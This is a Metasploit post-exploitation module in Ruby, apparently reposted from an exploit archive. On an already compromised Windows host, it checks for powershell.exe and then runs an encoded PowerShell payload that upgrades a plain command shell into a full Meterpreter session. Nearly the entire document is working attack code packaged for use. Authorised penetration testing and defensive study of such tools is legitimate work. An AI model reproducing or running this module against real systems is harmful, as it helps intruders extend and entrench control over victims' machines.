Windows Command Shell Upgrade (Powershell)

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::Powershell  
include Post::File  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Command Shell Upgrade (Powershell)',  
'Description' => %q{  
This module executes Powershell to upgrade a Windows Shell session  
to a full Meterpreter session.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 10,  
},  
'DisclosureDate' => 'Jan 01 1999',  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'shell' ],  
'Targets' => [ [ 'Universal', {} ] ],  
'DefaultTarget' => 0  
))  
end  
  
def exploit  
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"  
  
if file? "%WINDIR%\\System32#{psh_path}"  
print_status("Executing powershell command line...")  
cmd_exec(cmd_psh_payload(payload.encoded))  
else  
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")  
end  
end  
  
end  
  
`